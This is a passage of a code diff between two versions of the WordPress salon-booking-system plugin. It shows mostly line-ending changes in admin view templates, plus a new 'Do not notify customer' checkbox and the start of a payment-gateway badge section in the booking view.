false;\n+}\n+$rescheduled = empty($rescheduled) ? false : $rescheduled;\n+$forAdmin = empty($forAdmin) ? null : $forAdmin;\n+$updated = empty($updated) ? false : $updated;\n echo $plugin->loadView('mail\u002Ftemplate', compact('booking', 'plugin', 'data', 'remind', 'bookingDateTime', 'manageBookingsLink', 'updated', 'rescheduled', 'forAdmin', 'contentTemplate'));\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fmetabox\u002Fattendant.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fmetabox\u002Fattendant.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fmetabox\u002Fattendant.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fmetabox\u002Fattendant.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,135 +1,135 @@\n-\u003C?php\r\n-\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\r\n-$helper->showNonce($postType);\r\n-\u002F** @var SLN_Repository_ServiceRepository $sRepo *\u002F\r\n-$sRepo = $plugin->getRepository(SLN_Plugin::POST_TYPE_SERVICE);\r\n-$services = $sRepo->getAll();\r\n-\r\n-usort($services, function ($service1, $service2) {\r\n-\r\n-\t$service1Title = strtolower($service1->getName());\r\n-\t$service2Title = strtolower($service2->getName());\r\n-\r\n-\tif ($service1Title === $service2Title) {\r\n-\t\treturn 0;\r\n-\t}\r\n-\r\n-\treturn $service1Title > $service2Title ? 1 : -1;\r\n-});\r\n-\r\n-?>\r\n-\r\n-\u003Cdiv class=\"sln-box sln-box--main sln-box--haspanel sln-box--haspanel--open \u003C?php echo in_array(SLN_Plugin::USER_ROLE_WORKER,  wp_get_current_user()->roles) ? 'sln-disabled' : '' ?>\">\r\n-\t\u003Ch2 class=\"sln-box-title sln-box__paneltitle sln-box__paneltitle--open\">\u003C?php esc_html_e('Assistant Details', 'salon-booking-system');?>\u003C\u002Fh2>\r\n-\u003Cdiv class=\"collapse in sln-box__panelcollapse\">\r\n-\u003Cdiv class=\"row sln-service-price-time\">\r\n-    \u003Cdiv class=\"col-xs-12 col-sm-6 col-md-3 form-group sln-input--simple sln-attendant-email-block\">\r\n-            \u003Clabel for=\"_sln_attendant_email\">\u003C?php echo esc_html__('E-mail', 'salon-booking-system') ?>\u003C\u002Flabel>\r\n-            \u003Cselect name=\"_sln_attendant_email\" id=\"_sln_attendant_email\" data-nomatches=\"\u003C?php esc_html_e('no users found', 'salon-booking-system')?>\" data-placeholder=\"\u003C?php esc_html_e('Start typing the email', 'salon-booking-system')?>\" class=\"form-control\">\r\n-\t\t\u003Coption selected=\"selected\" value=\"\u003C?php echo $attendant->getEmail() ?>\" data-staff-member-id=\"\u003C?php echo $attendant->getMeta('staff_member_id') ?>\">\u003C?php echo $attendant->getEmail() ?>\u003C\u002Foption>\r\n-\t    \u003C\u002Fselect>\r\n-\t    \u003Cinput type=\"hidden\" name=\"_sln_attendant_staff_member_id\" value=\"\u003C?php echo $attendant->getMeta('staff_member_id') ?>\">\r\n-    \u003C\u002Fdiv>\r\n-    \u003Cdiv class=\"col-xs-12 col-sm-6 col-md-3 form-group sln-select\">\r\n-            \u003Clabel for=\"_sln_attendant_phone\">\u003C?php echo esc_html__('Phone', 'salon-booking-system') ?>\u003C\u002Flabel>\r\n-            \u003Cinput type=\"tel\" name=\"_sln_attendant_phone\" id=\"_sln_attendant_phone\" value=\"\u003C?php echo $attendant->getPhone() ?>\" class=\"form-control\">\r\n-            \u003Cinput type=\"hidden\" name=\"_sln_attendant_sms_prefix\" id=\"_sln_attendant_sms_prefix\" value=\"\u003C?php echo $attendant->getSmsPrefix() ?>\" class=\"form-control\">\r\n-    \u003C\u002Fdiv>\r\n-\r\n-    \u003Cdiv class=\"col-xs-12 col-md-6 form-group sln-checkbox\">\r\n-        \u003C?php SLN_Form::fieldCheckbox('_sln_attendant_display_phone_inside_booking_notification', $attendant->isDisplayPhoneInsideBookingNotification(), array())?>\r\n-        \u003Clabel for=\"_sln_attendant_display_phone_inside_booking_notification\">\u003C?php esc_html_e('Display phone inside booking notification', 'salon-booking-system');?>\u003C\u002Flabel>\r\n-    \u003C\u002Fdiv>\r\n-\u003C\u002Fdiv>\r\n-\u003Cdiv class=\"row sln-service-price-time\">\r\n-    \u003Cdiv class=\"col-xs-12 col-md-6 form-group sln-select sln-select--multiple sln-select2-selection__search-primary\">\r\n-            \u003Clabel>\u003C?php echo esc_html__('Limit reservations to the following services', 'salon-booking-system') ?>\u003C\u002Flabel>\r\n-            \u003Cdiv class=\"sln_attendant_services_list closed-\">\r\n-            \u003Cselect class=\"sln-select select2-hidden-accessible\" multiple=\"multiple\" data-placeholder=\"\u003C?php esc_html_e('Select or search one or more services', 'salon-booking-system')?>\"\r\n-                    name=\"_sln_attendant_services[]\" id=\"_sln_attendant_services\" tabindex=\"-1\" aria-hidden=\"true\">\r\n-                \u003C?php foreach ($services as $service): ?>\r\n-                    \u003C?php if (!$service->isAttendantsEnabled()) {\r\n-\tcontinue;\r\n-}\r\n-?>\r\n-                    \u003Coption\r\n-                        class=\"red\"\r\n-                        value=\"sln_attendant_services_\u003C?php echo $service->getId() ?>\"\r\n-                        data-price=\"\u003C?php echo $service->getPrice(); ?>\"\r\n-                        \u003C?php echo $attendant->hasService($service) ? 'selected=\"selected\"' : '' ?>\r\n-                        >\u003C?php echo $service->getName(); ?>\r\n-                        (\u003C?php echo $plugin->format()->money($service->getPrice()) ?>)\r\n-                    \u003C\u002Foption>\r\n-                \u003C?php endforeach?>\r\n-            \u003C\u002Fselect>\r\n-            \u003C\u002Fdiv>\r\n-            \u003Ca href=\"#nogo\" class=\"sln-service__collapsetrigger\">\u003Cspan class=\"sr-only\">more\u003C\u002Fspan>\u003C\u002Fa>\r\n-            \u003Cp>\u003C?php echo esc_html__('Use this option only if this assistant is able to provide specific services. If not leave it blank', 'salon-booking-system') ?>\u003C\u002Fp>\r\n-    \u003C\u002Fdiv>\r\n-    \u003Cdiv class=\"col-xs-12 col-md-6 form-group sln-checkbox\">\r\n-        \u003C?php SLN_Form::fieldCheckbox('_sln_attendant_multiple_customers', $attendant->canMultipleCustomers(), array())?>\r\n-        \u003Clabel for=\"_sln_attendant_multiple_customers\">\u003C?php esc_html_e('Multiple Customers per Session', 'salon-booking-system');?>\u003C\u002Flabel>\r\n-    \u003C\u002Fdiv>\r\n-\u003C\u002Fdiv>\r\n-\u003Cdiv class=\"row sln-service-price-time\">\r\n-    \u003Cdiv class=\"col-xs-12 col-md-6 form-group sln-checkbox sln-staff-member-assigned-bookings-only \u003C?php echo $attendant->getMeta('staff_member_id') ? '' : 'hide' ?>\">\r\n-\t\u003C?php if (defined(\"SLN_VERSION_PAY\")): ?>\r\n-\t    \u003Cdiv>\r\n-\t\t\u003C?php SLN_Form::fieldCheckbox('_sln_attendant_limit_staff_member_to_assigned_bookings_only', $attendant->getIsStaffMemberAssignedToBookingsOnly(), array())?>\r\n-\t\t\u003Clabel for=\"_sln_attendant_limit_staff_member_to_assigned_bookings_only\">\u003C?php esc_html_e('Limit access to assigned bookings only', 'salon-booking-system');?>\u003C\u002Flabel>\r\n-\t    \u003C\u002Fdiv>\r\n-\t\u003C?php else: ?>\r\n-\t   \u003Cdiv class=\"sln-staff-member-assigned-bookings-only--alert\">\r\n-        \u003Cp>\r\n-\t       \u003Cspan class=\"icon\">\u003C\u002Fspan>\r\n-\t\t\u003C?php\r\n-        \u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.UnsafePrintingFunction\r\n-        _e('In the \u003Cstrong>Pro\u003C\u002Fstrong> version you could limit this assistant to view and manage only his own reservations.', 'salon-booking-system')?>\r\n-\t\t\u003Ca href=\"https:\u002F\u002Fbit.ly\u002F3wanK8V\" target=\"_blank\">\r\n-\t\t    \u003Cstrong>\u003C?php esc_html_e('Ok, I need this.', 'salon-booking-system')?>\u003C\u002Fstrong>\r\n-\t\t\u003C\u002Fa>\r\n-    \u003C\u002Fp>\r\n-\t    \u003C\u002Fdiv>\r\n-\t\u003C?php endif;?>\r\n-    \u003C\u002Fdiv>\r\n-\u003C\u002Fdiv>\r\n-\u003Cdiv class=\"row sln-service-price-time\">\r\n-    \u003Cdiv class=\"col-xs-12 col-md-6 form-group sln-checkbox sln-staff-member-backend-calendar-only \u003C?php echo $attendant->getMeta('staff_member_id') ? '' : 'hide' ?>\">\r\n-        \u003Cdiv>\r\n-            \u003C?php SLN_Form::fieldCheckbox('_sln_attendant_limit_staff_member_to_backend_calendar_only', $attendant->getIsStaffMemberToBackendCalendarOnly(), array())?>\r\n-            \u003Clabel for=\"_sln_attendant_limit_staff_member_to_backend_calendar_only\">\u003C?php esc_html_e('Limit access to back-end calendar only', 'salon-booking-system');?>\u003C\u002Flabel>\r\n-        \u003C\u002Fdiv>\r\n-    \u003C\u002Fdiv>\r\n-\u003C\u002Fdiv>\r\n-\u003C!-- collapse END -->\r\n-\u003C\u002Fdiv>\r\n-\u003C\u002Fdiv>\r\n-\r\n-\u003Cdiv class=\"booking-wrapper\">\r\n-    \u003C?php echo $plugin->loadView(\r\n-        'metabox\u002F_tab_attendant_rules',\r\n-        array(\r\n-            'availabilities' => $attendant->getMeta('availabilities'),\r\n-            'base' => '_sln_attendant_availabilities',\r\n-            'show_specific_dates' => true,\r\n-            'attendant' => $attendant\r\n-        )\r\n-    ); ?>\r\n-    \u003C?php echo $plugin->loadView(\r\n-        'settings\u002F_availability_preview',\r\n-        array(\r\n-            'availabilities' => $attendant->getMeta('availabilities'),\r\n-            'base' => '_sln_attendant_availabilities',\r\n-        )\r\n-    ); ?>\r\n-\u003C\u002Fdiv>\r\n-\u003C?php echo $plugin->loadView(\r\n-    'settings\u002F_tab_booking_holiday_rules',\r\n-    array(\r\n-        'holidays' => $attendant->getMeta('holidays'),\r\n-        'base' => '_sln_attendant_holidays',\r\n-    )\r\n-); ?>\r\n-\r\n-\u003Cdiv class=\"sln-clear\">\u003C\u002Fdiv>\r\n-\u003C?php do_action('sln.template.attendant.metabox', $attendant);?>\r\n+\u003C?php\n+\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\n+$helper->showNonce($postType);\n+\u002F** @var SLN_Repository_ServiceRepository $sRepo *\u002F\n+$sRepo = $plugin->getRepository(SLN_Plugin::POST_TYPE_SERVICE);\n+$services = $sRepo->getAll();\n+\n+usort($services, function ($service1, $service2) {\n+\n+\t$service1Title = strtolower($service1->getName());\n+\t$service2Title = strtolower($service2->getName());\n+\n+\tif ($service1Title === $service2Title) {\n+\t\treturn 0;\n+\t}\n+\n+\treturn $service1Title > $service2Title ? 1 : -1;\n+});\n+\n+?>\n+\n+\u003Cdiv class=\"sln-box sln-box--main sln-box--haspanel sln-box--haspanel--open \u003C?php echo in_array(SLN_Plugin::USER_ROLE_WORKER,  wp_get_current_user()->roles) ? 'sln-disabled' : '' ?>\">\n+\t\u003Ch2 class=\"sln-box-title sln-box__paneltitle sln-box__paneltitle--open\">\u003C?php esc_html_e('Assistant Details', 'salon-booking-system');?>\u003C\u002Fh2>\n+\u003Cdiv class=\"collapse in sln-box__panelcollapse\">\n+\u003Cdiv class=\"row sln-service-price-time\">\n+    \u003Cdiv class=\"col-xs-12 col-sm-6 col-md-3 form-group sln-input--simple sln-attendant-email-block\">\n+            \u003Clabel for=\"_sln_attendant_email\">\u003C?php echo esc_html__('E-mail', 'salon-booking-system') ?>\u003C\u002Flabel>\n+            \u003Cselect name=\"_sln_attendant_email\" id=\"_sln_attendant_email\" data-nomatches=\"\u003C?php esc_html_e('no users found', 'salon-booking-system')?>\" data-placeholder=\"\u003C?php esc_html_e('Start typing the email', 'salon-booking-system')?>\" class=\"form-control\">\n+\t\t\u003Coption selected=\"selected\" value=\"\u003C?php echo $attendant->getEmail() ?>\" data-staff-member-id=\"\u003C?php echo $attendant->getMeta('staff_member_id') ?>\">\u003C?php echo $attendant->getEmail() ?>\u003C\u002Foption>\n+\t    \u003C\u002Fselect>\n+\t    \u003Cinput type=\"hidden\" name=\"_sln_attendant_staff_member_id\" value=\"\u003C?php echo $attendant->getMeta('staff_member_id') ?>\">\n+    \u003C\u002Fdiv>\n+    \u003Cdiv class=\"col-xs-12 col-sm-6 col-md-3 form-group sln-select\">\n+            \u003Clabel for=\"_sln_attendant_phone\">\u003C?php echo esc_html__('Phone', 'salon-booking-system') ?>\u003C\u002Flabel>\n+            \u003Cinput type=\"tel\" name=\"_sln_attendant_phone\" id=\"_sln_attendant_phone\" value=\"\u003C?php echo $attendant->getPhone() ?>\" class=\"form-control\">\n+            \u003Cinput type=\"hidden\" name=\"_sln_attendant_sms_prefix\" id=\"_sln_attendant_sms_prefix\" value=\"\u003C?php echo $attendant->getSmsPrefix() ?>\" class=\"form-control\">\n+    \u003C\u002Fdiv>\n+\n+    \u003Cdiv class=\"col-xs-12 col-md-6 form-group sln-checkbox\">\n+        \u003C?php SLN_Form::fieldCheckbox('_sln_attendant_display_phone_inside_booking_notification', $attendant->isDisplayPhoneInsideBookingNotification(), array())?>\n+        \u003Clabel for=\"_sln_attendant_display_phone_inside_booking_notification\">\u003C?php esc_html_e('Display phone inside booking notification', 'salon-booking-system');?>\u003C\u002Flabel>\n+    \u003C\u002Fdiv>\n+\u003C\u002Fdiv>\n+\u003Cdiv class=\"row sln-service-price-time\">\n+    \u003Cdiv class=\"col-xs-12 col-md-6 form-group sln-select sln-select--multiple sln-select2-selection__search-primary\">\n+            \u003Clabel>\u003C?php echo esc_html__('Limit reservations to the following services', 'salon-booking-system') ?>\u003C\u002Flabel>\n+            \u003Cdiv class=\"sln_attendant_services_list closed-\">\n+            \u003Cselect class=\"sln-select select2-hidden-accessible\" multiple=\"multiple\" data-placeholder=\"\u003C?php esc_html_e('Select or search one or more services', 'salon-booking-system')?>\"\n+                    name=\"_sln_attendant_services[]\" id=\"_sln_attendant_services\" tabindex=\"-1\" aria-hidden=\"true\">\n+                \u003C?php foreach ($services as $service): ?>\n+                    \u003C?php if (!$service->isAttendantsEnabled()) {\n+\tcontinue;\n+}\n+?>\n+                    \u003Coption\n+                        class=\"red\"\n+                        value=\"sln_attendant_services_\u003C?php echo $service->getId() ?>\"\n+                        data-price=\"\u003C?php echo $service->getPrice(); ?>\"\n+                        \u003C?php echo $attendant->hasService($service) ? 'selected=\"selected\"' : '' ?>\n+                        >\u003C?php echo $service->getName(); ?>\n+                        (\u003C?php echo $plugin->format()->money($service->getPrice()) ?>)\n+                    \u003C\u002Foption>\n+                \u003C?php endforeach?>\n+            \u003C\u002Fselect>\n+            \u003C\u002Fdiv>\n+            \u003Ca href=\"#nogo\" class=\"sln-service__collapsetrigger\">\u003Cspan class=\"sr-only\">more\u003C\u002Fspan>\u003C\u002Fa>\n+            \u003Cp>\u003C?php echo esc_html__('Use this option only if this assistant is able to provide specific services. If not leave it blank', 'salon-booking-system') ?>\u003C\u002Fp>\n+    \u003C\u002Fdiv>\n+    \u003Cdiv class=\"col-xs-12 col-md-6 form-group sln-checkbox\">\n+        \u003C?php SLN_Form::fieldCheckbox('_sln_attendant_multiple_customers', $attendant->canMultipleCustomers(), array())?>\n+        \u003Clabel for=\"_sln_attendant_multiple_customers\">\u003C?php esc_html_e('Multiple Customers per Session', 'salon-booking-system');?>\u003C\u002Flabel>\n+    \u003C\u002Fdiv>\n+\u003C\u002Fdiv>\n+\u003Cdiv class=\"row sln-service-price-time\">\n+    \u003Cdiv class=\"col-xs-12 col-md-6 form-group sln-checkbox sln-staff-member-assigned-bookings-only \u003C?php echo $attendant->getMeta('staff_member_id') ? '' : 'hide' ?>\">\n+\t\u003C?php if (defined(\"SLN_VERSION_PAY\")): ?>\n+\t    \u003Cdiv>\n+\t\t\u003C?php SLN_Form::fieldCheckbox('_sln_attendant_limit_staff_member_to_assigned_bookings_only', $attendant->getIsStaffMemberAssignedToBookingsOnly(), array())?>\n+\t\t\u003Clabel for=\"_sln_attendant_limit_staff_member_to_assigned_bookings_only\">\u003C?php esc_html_e('Limit access to assigned bookings only', 'salon-booking-system');?>\u003C\u002Flabel>\n+\t    \u003C\u002Fdiv>\n+\t\u003C?php else: ?>\n+\t   \u003Cdiv class=\"sln-staff-member-assigned-bookings-only--alert\">\n+        \u003Cp>\n+\t       \u003Cspan class=\"icon\">\u003C\u002Fspan>\n+\t\t\u003C?php\n+        \u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.UnsafePrintingFunction\n+        _e('In the \u003Cstrong>Pro\u003C\u002Fstrong> version you could limit this assistant to view and manage only his own reservations.', 'salon-booking-system')?>\n+\t\t\u003Ca href=\"https:\u002F\u002Fbit.ly\u002F3wanK8V\" target=\"_blank\">\n+\t\t    \u003Cstrong>\u003C?php esc_html_e('Ok, I need this.', 'salon-booking-system')?>\u003C\u002Fstrong>\n+\t\t\u003C\u002Fa>\n+    \u003C\u002Fp>\n+\t    \u003C\u002Fdiv>\n+\t\u003C?php endif;?>\n+    \u003C\u002Fdiv>\n+\u003C\u002Fdiv>\n+\u003Cdiv class=\"row sln-service-price-time\">\n+    \u003Cdiv class=\"col-xs-12 col-md-6 form-group sln-checkbox sln-staff-member-backend-calendar-only \u003C?php echo $attendant->getMeta('staff_member_id') ? '' : 'hide' ?>\">\n+        \u003Cdiv>\n+            \u003C?php SLN_Form::fieldCheckbox('_sln_attendant_limit_staff_member_to_backend_calendar_only', $attendant->getIsStaffMemberToBackendCalendarOnly(), array())?>\n+            \u003Clabel for=\"_sln_attendant_limit_staff_member_to_backend_calendar_only\">\u003C?php esc_html_e('Limit access to back-end calendar only', 'salon-booking-system');?>\u003C\u002Flabel>\n+        \u003C\u002Fdiv>\n+    \u003C\u002Fdiv>\n+\u003C\u002Fdiv>\n+\u003C!-- collapse END -->\n+\u003C\u002Fdiv>\n+\u003C\u002Fdiv>\n+\n+\u003Cdiv class=\"booking-wrapper\">\n+    \u003C?php echo $plugin->loadView(\n+        'metabox\u002F_tab_attendant_rules',\n+        array(\n+            'availabilities' => $attendant->getMeta('availabilities'),\n+            'base' => '_sln_attendant_availabilities',\n+            'show_specific_dates' => true,\n+            'attendant' => $attendant\n+        )\n+    ); ?>\n+    \u003C?php echo $plugin->loadView(\n+        'settings\u002F_availability_preview',\n+        array(\n+            'availabilities' => $attendant->getMeta('availabilities'),\n+            'base' => '_sln_attendant_availabilities',\n+        )\n+    ); ?>\n+\u003C\u002Fdiv>\n+\u003C?php echo $plugin->loadView(\n+    'settings\u002F_tab_booking_holiday_rules',\n+    array(\n+        'holidays' => $attendant->getMeta('holidays'),\n+        'base' => '_sln_attendant_holidays',\n+    )\n+); ?>\n+\n+\u003Cdiv class=\"sln-clear\">\u003C\u002Fdiv>\n+\u003C?php do_action('sln.template.attendant.metabox', $attendant);?>\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fmetabox\u002Fbooking_actions.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fmetabox\u002Fbooking_actions.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fmetabox\u002Fbooking_actions.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fmetabox\u002Fbooking_actions.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,31 +1,31 @@\n-\u003C?php\r\n-\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\r\n-\u002F**\r\n- * @var SLN_Metabox_Helper $helper\r\n- *\u002F\r\n-?>\r\n-\u003Ch3>\u003C?php esc_html_e('Re-send email notification to ', 'salon-booking-system') ?>\u003C\u002Fh3>\r\n-\u003Cdiv class=\"row\">\r\n-\t\u003Cdiv class=\"col-xs-12\">\r\n-\t\t\u003Clabel for=\"resend-notification-text\">\u003C?php esc_html_e('Type a message for your customer', 'salon-booking-system') ?>\u003C\u002Flabel>\r\n-\t\t\u003Ctextarea id=\"resend-notification-text\" class=\"sln-input sln-input--textarea\">\u003C?php echo $settings->get('booking_update_message') ?>\u003C\u002Ftextarea>\r\n-\t\u003C\u002Fdiv>\r\n-\u003C\u002Fdiv>\r\n-\u003Cbr\u002F>\r\n-\u003Cdiv class=\"row\">\r\n-\t\u003Cdiv class=\"col-xs-8\">\u003Cinput type=\"text\" id=\"resend-notification\" class=\"sln-input sln-input--text\" value=\"\u003C?php echo esc_attr($booking->getEmail()); ?>\"\u002F>\u003C\u002Fdiv>\r\n-\t\u003Cdiv class=\"col-xs-4\">\u003Cdiv class=\"row\">\u003Cbutton class=\"button\" id=\"resend-notification-submit\"\r\n-\t                               value=\"submit\">\u003C?php echo esc_html__('Send', 'salon-booking-system') ?>\u003C\u002Fbutton>\u003C\u002Fdiv>\u003C\u002Fdiv>\r\n-\u003C\u002Fdiv>\r\n-\u003Cbr\u002F>\r\n-\t\u003Cspan id=\"resend-notification-message\">\u003C\u002Fspan>\r\n-\u003C?php if($settings->isPayEnabled() && $settings->get('pay')): ?>\r\n-\t\u003Ch3>\u003C?php esc_html_e('Re-send payment link', 'salon-booking-system') ?>\u003C\u002Fh3>\r\n-\t\u003Cdiv class=\"row\">\r\n-\t\t\u003Cdiv class=\"col-xs-8\">\u003Cinput type=\"text\" id=\"resend-payment\" class=\"sln-input sln-input--text\" value=\"\u003C?php echo esc_attr($booking->getEmail()); ?>\"\u002F>\u003C\u002Fdiv>\r\n-\t\t\u003Cdiv class=\"col-xs-4\">\u003Cdiv class=\"row\">\u003Cbutton class=\"button\" id=\"resend-payment-submit\"\r\n-\t\t                      value=\"submit\">\u003C?php echo esc_html__('Send', 'salon-booking-system') ?>\u003C\u002Fbutton>\u003C\u002Fdiv>\u003C\u002Fdiv>\r\n-\t\u003C\u002Fdiv>\r\n-\t\u003Cbr\u002F>\r\n-\t\u003Cspan id=\"resend-payment-message\">\u003C\u002Fspan>\r\n-\u003C?php endif ?>\r\n+\u003C?php\n+\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\n+\u002F**\n+ * @var SLN_Metabox_Helper $helper\n+ *\u002F\n+?>\n+\u003Ch3>\u003C?php esc_html_e('Re-send email notification to ', 'salon-booking-system') ?>\u003C\u002Fh3>\n+\u003Cdiv class=\"row\">\n+\t\u003Cdiv class=\"col-xs-12\">\n+\t\t\u003Clabel for=\"resend-notification-text\">\u003C?php esc_html_e('Type a message for your customer', 'salon-booking-system') ?>\u003C\u002Flabel>\n+\t\t\u003Ctextarea id=\"resend-notification-text\" class=\"sln-input sln-input--textarea\">\u003C?php echo $settings->get('booking_update_message') ?>\u003C\u002Ftextarea>\n+\t\u003C\u002Fdiv>\n+\u003C\u002Fdiv>\n+\u003Cbr\u002F>\n+\u003Cdiv class=\"row\">\n+\t\u003Cdiv class=\"col-xs-8\">\u003Cinput type=\"text\" id=\"resend-notification\" class=\"sln-input sln-input--text\" value=\"\u003C?php echo esc_attr($booking->getEmail()); ?>\"\u002F>\u003C\u002Fdiv>\n+\t\u003Cdiv class=\"col-xs-4\">\u003Cdiv class=\"row\">\u003Cbutton class=\"button\" id=\"resend-notification-submit\"\n+\t                               value=\"submit\">\u003C?php echo esc_html__('Send', 'salon-booking-system') ?>\u003C\u002Fbutton>\u003C\u002Fdiv>\u003C\u002Fdiv>\n+\u003C\u002Fdiv>\n+\u003Cbr\u002F>\n+\t\u003Cspan id=\"resend-notification-message\">\u003C\u002Fspan>\n+\u003C?php if($settings->isPayEnabled() && $settings->get('pay')): ?>\n+\t\u003Ch3>\u003C?php esc_html_e('Re-send payment link', 'salon-booking-system') ?>\u003C\u002Fh3>\n+\t\u003Cdiv class=\"row\">\n+\t\t\u003Cdiv class=\"col-xs-8\">\u003Cinput type=\"text\" id=\"resend-payment\" class=\"sln-input sln-input--text\" value=\"\u003C?php echo esc_attr($booking->getEmail()); ?>\"\u002F>\u003C\u002Fdiv>\n+\t\t\u003Cdiv class=\"col-xs-4\">\u003Cdiv class=\"row\">\u003Cbutton class=\"button\" id=\"resend-payment-submit\"\n+\t\t                      value=\"submit\">\u003C?php echo esc_html__('Send', 'salon-booking-system') ?>\u003C\u002Fbutton>\u003C\u002Fdiv>\u003C\u002Fdiv>\n+\t\u003C\u002Fdiv>\n+\t\u003Cbr\u002F>\n+\t\u003Cspan id=\"resend-payment-message\">\u003C\u002Fspan>\n+\u003C?php endif ?>\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fmetabox\u002Fbooking.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fmetabox\u002Fbooking.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fmetabox\u002Fbooking.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fmetabox\u002Fbooking.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -546,6 +546,12 @@\n                             \u003C?php endif; ?>\n                         \u003C\u002Fdiv>\n                     \u003C\u002Fdiv>\n+                    \u003Cdiv class=\"col-xs-12 col-md-6\">\n+                        \u003Cdiv class=\"sln-checkbox--nu- sln-switch\">\n+                            \u003Cinput type=\"checkbox\" id=\"dont-notify-customer\" name=\"_sln_booking_dont_notify_customer\" value=\"1\" \u003C?php if ( ! $booking->getNotifyCustomer() ) echo 'checked'; ?> \u002F>\n+                            \u003Clabel for=\"dont-notify-customer\">\u003C?php esc_html_e('Do not notify customer', 'salon-booking-system') ?>\u003C\u002Flabel>\n+                        \u003C\u002Fdiv>\n+                    \u003C\u002Fdiv>\n                 \u003C\u002Fdiv>\n             \u003C\u002Fdiv>\n \n@@ -640,7 +646,52 @@\n \n         \u003Cdiv id=\"sln-booking__totals\" role=\"tabpanel\" class=\"sln-box sln-box--main tab-pane sln-admin__tabpanel sln-admin__tabpanel--totals\">\n             \u003Ch4 class=\"sln-box-title--nu--sec\">\u003C?php esc_html_e('Totals', 'salon-booking-system'); ?>\u003C\u002Fh4>\n+            \u003C?php\n+            \u002F\u002F ---- Payment info detection (used throughout this section) ----\n+            $sln_pm_stripe_session = $booking->getMeta('stripe_session_id');\n+            $sln_pm_paypal_data    = get_post_meta($booking->getId(), '_sln_paypal_return_data', true);\n+            $sln_pm_paypal_token   = $booking->getMeta('paypal_token');\n+            $sln_pm_is_stripe      = !empty($sln_pm_stripe_session);\n+            $sln_pm_is_paypal      = !empty($sln_pm_paypal_data) || !empty($sln_pm_paypal_token);\n+            $sln_pm_is_live        = $sln_pm_is_stripe && strpos($sln_pm_stripe_session, '_live_') !== false;\n+            $sln_pm_stripe_prefix  = $sln_pm_is_live ? '' : 'test\u002F';\n+            $sln_pm_cached_details = get_post_meta($booking->getId(), '_sln_booking_payment_details', true);\n+            $sln_pm_device_info    = $booking->getDeviceInfo();\n+            ?>\n             \u003Cdiv class=\"sln-box__fl sln-box__fl--75\">\n+\n+                \u003C?php \u002F\u002F ---- Payment Gateway Badge ----\n+                if ($sln_pm_is_stripe || $sln_pm_is_paypal) : ?>\n+                \u003Cdiv class=\"sln-box__fl__item sln-box__fl__item--2col sln-input--simple\" style=\"display:flex;align-items:center;gap:12px;flex-wrap:wrap;\">\n+                    \u003Cdiv>\n+                        \u003Clabel style=\"margin-bottom:4px;\">\u003C?php esc_html_e('Payment Gateway', 'salon-booking-system'); ?>\u003C\u002Flabel>\n+                        \u003C?php if ($sln_pm_is_stripe) : ?>\n+                            \u003Cdiv style=\"display:flex;align-items:center;gap:8px;flex-wrap:wrap;\">\n+                                \u003Cspan style=\"display:inline-flex;align-items:center;gap:5px;background:#635bff;color:#fff;padding:4px 10px;border-radius:4px;font-size:12px;font-weight:600;letter-spacing:.3px;\">\n+                                    \u003Csvg width=\"12\" height=\"12\" viewBox=\"0 0 24 24\" fill=\"none\" xmlns=\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\">\u003Cpath d=\"M13.976 9.15c-2.172-.806-3.356-1.426-3.356-2.409 0-.831.683-1.305 1.901-1.305 2.227 0 4.515.858 6.09 1.631l.89-5.494C18.252.975 15.697 0 12.165 0 9.667 0 7.589.654 6.104 1.872 4.56 3.147 3.757 4.992 3.757 7.218c0 4.039 2.467 5.76 6.476 7.219 2.585.92 3.445 1.574 3.445 2.583 0 .98-.84 1.545-2.354 1.545-1.875 0-4.965-.921-6.99-2.109l-.9 5.555C5.175 22.99 8.385 24 11.714 24c2.641 0 4.843-.624 6.328-1.813 1.664-1.305 2.525-3.236 2.525-5.732 0-4.128-2.524-5.851-6.591-7.305z\" 